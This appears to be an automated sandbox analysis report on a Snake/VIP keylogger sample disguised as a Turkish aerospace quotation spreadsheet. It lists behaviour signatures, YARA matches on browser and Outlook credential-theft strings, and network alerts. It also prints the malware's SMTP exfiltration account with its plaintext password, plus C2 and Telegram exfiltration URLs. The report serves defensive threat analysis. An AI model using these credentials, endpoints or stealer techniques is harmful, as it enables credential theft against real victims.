Edit tour

Windows Analysis Report
TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Overview

General Information

Sample name:	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe renamed because original name is a hash value
Original sample name:	TEKLF STE - TUSA TRK HAVACILIK UZAY SANAY_xlsx.exe
Analysis ID:	1576047
MD5:	e984d47ddddd227739d93d4712eec8fa
SHA1:	c10c8fbb4afc6d0ec5754ee95cfd4b3e4df4b3f8
SHA256:	1349316e7a40b141bed9b55a8271d86434e168ff6efd248c1fa5af4e05c1c248
Tags:	exegeoMassLoggerTURuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code references suspicious native API functions

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Contains functionality to capture screen (.Net source)

Contains functionality to log keystrokes (.Net Source)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Yara detected Generic Downloader

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe (PID: 2216 cmdline: "C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe" MD5: E984D47DDDDD227739D93D4712EEC8FA)

RegSvcs.exe (PID: 4780 cmdline: "C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "royals@htcp.homes", "Password": "7213575aceACE@@", "Host": "mail.htcp.homes", "Port": "587", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "royals@htcp.homes", "Password": "7213575aceACE@@", "Host": "mail.htcp.homes", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2daa0:$a1: get_encryptedPassword 0x2e028:$a2: get_encryptedUsername 0x2d713:$a3: get_timePasswordChanged 0x2d82a:$a4: get_passwordField 0x2dab6:$a5: set_encryptedPassword 0x307d2:$a6: get_passwords 0x30b66:$a7: get_logins 0x307be:$a8: GetOutlookPasswords 0x30177:$a9: StartKeylogger 0x30abf:$a10: KeyLoggerEventArgs 0x30217:$a11: KeyLoggerEventArgsEventHandler
00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x30d66:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b28e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a931:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ab8e:$a4: \Orbitum\User Data\Default\Login Data 0x3b56d:$a5: \Kometa\User Data\Default\Login Data
00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x2f06b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x2f080:$s4: _hook
00000002.00000002.3940377959.000000000280C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe PID: 2216	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe PID: 2216	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe PID: 2216	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe PID: 2216	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1d1493:$a1: get_encryptedPassword 0x1d1a11:$a2: get_encryptedUsername 0x1d1115:$a3: get_timePasswordChanged 0x1d122c:$a4: get_passwordField 0x1d14a9:$a5: set_encryptedPassword 0x1d416d:$a6: get_passwords 0x1d44fd:$a7: get_logins 0x1d4159:$a8: GetOutlookPasswords 0x1d3b12:$a9: StartKeylogger 0x1d4456:$a10: KeyLoggerEventArgs 0x1d3bb2:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 4780	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 4780	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: RegSvcs.exe PID: 4780	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 4780	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26b2d:$a1: get_encryptedPassword 0x270ab:$a2: get_encryptedUsername 0x267af:$a3: get_timePasswordChanged 0x268c6:$a4: get_passwordField 0x26b43:$a5: set_encryptedPassword 0x29807:$a6: get_passwords 0x29b97:$a7: get_logins 0x297f3:$a8: GetOutlookPasswords 0x291ac:$a9: StartKeylogger 0x29af0:$a10: KeyLoggerEventArgs 0x2924c:$a11: KeyLoggerEventArgsEventHandler
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.RegSvcs.exe.770000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RegSvcs.exe.770000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.RegSvcs.exe.770000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.RegSvcs.exe.770000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RegSvcs.exe.770000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x30d66:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
2.2.RegSvcs.exe.770000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b28e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a931:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ab8e:$a4: \Orbitum\User Data\Default\Login Data 0x3b56d:$a5: \Kometa\User Data\Default\Login Data
2.2.RegSvcs.exe.770000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x2f06b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x2f080:$s4: _hook
0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bea0:$a1: get_encryptedPassword 0x2c428:$a2: get_encryptedUsername 0x2bb13:$a3: get_timePasswordChanged 0x2bc2a:$a4: get_passwordField 0x2beb6:$a5: set_encryptedPassword 0x2ebd2:$a6: get_passwords 0x2ef66:$a7: get_logins 0x2ebbe:$a8: GetOutlookPasswords 0x2e577:$a9: StartKeylogger 0x2eebf:$a10: KeyLoggerEventArgs 0x2e617:$a11: KeyLoggerEventArgsEventHandler
0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3948e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38b31:$a3: \Google\Chrome\User Data\Default\Login Data 0x38d8e:$a4: \Orbitum\User Data\Default\Login Data 0x3976d:$a5: \Kometa\User Data\Default\Login Data
0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d264:$s1: UnHook 0x2d26b:$s2: SetHook 0x2d273:$s3: CallNextHook 0x2d280:$s4: _hook
0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x30d66:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b28e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a931:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ab8e:$a4: \Orbitum\User Data\Default\Login Data 0x3b56d:$a5: \Kometa\User Data\Default\Login Data
0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x2f06b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x2f080:$s4: _hook
Click to see the 15 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:37:12.992245+0100	2803305	3	Unknown Traffic	192.168.2.8	49707	104.21.67.152	443	TCP
2024-12-16T13:37:15.900329+0100	2803305	3	Unknown Traffic	192.168.2.8	49709	104.21.67.152	443	TCP
2024-12-16T13:37:27.957196+0100	2803305	3	Unknown Traffic	192.168.2.8	49721	104.21.67.152	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:37:08.701345+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49705	193.122.130.0	80	TCP
2024-12-16T13:37:11.373100+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49705	193.122.130.0	80	TCP
2024-12-16T13:37:14.279449+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49708	193.122.130.0	80	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 16 Dec 2024 12:37:35 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: RegSvcs.exe, 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegSvcs.exe, 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegSvcs.exe, 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegSvcs.exe, 00000002.00000002.3940377959.00000000027E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.00000000027E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: RegSvcs.exe, 00000002.00000002.3940377959.00000000027E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: RegSvcs.exe, 00000002.00000002.3940377959.00000000027E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:767668%0D%0ADate%20a
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegSvcs.exe, 00000002.00000002.3940377959.00000000028C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: RegSvcs.exe, 00000002.00000002.3940377959.00000000028B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enH
Source: RegSvcs.exe, 00000002.00000002.3940377959.00000000028BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegSvcs.exe, 00000002.00000002.3940377959.0000000002751000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.00000000027E7000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.00000000027C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.0000000002751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: RegSvcs.exe, 00000002.00000002.3940377959.00000000027C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: RegSvcs.exe, 00000002.00000002.3940377959.000000000277B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.00000000027E7000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.00000000027C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegSvcs.exe, 00000002.00000002.3940377959.00000000028F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: RegSvcs.exe, 00000002.00000002.3940377959.00000000028E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/H
Source: RegSvcs.exe, 00000002.00000002.3940377959.00000000028EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49727 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture screen (.Net source)

Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, COVID19.cs

.Net Code: TakeScreenshot

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, COVID19.cs

.Net Code: VKCodeToUnicode

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_01014164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_01014164

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_01014164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_01014164

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

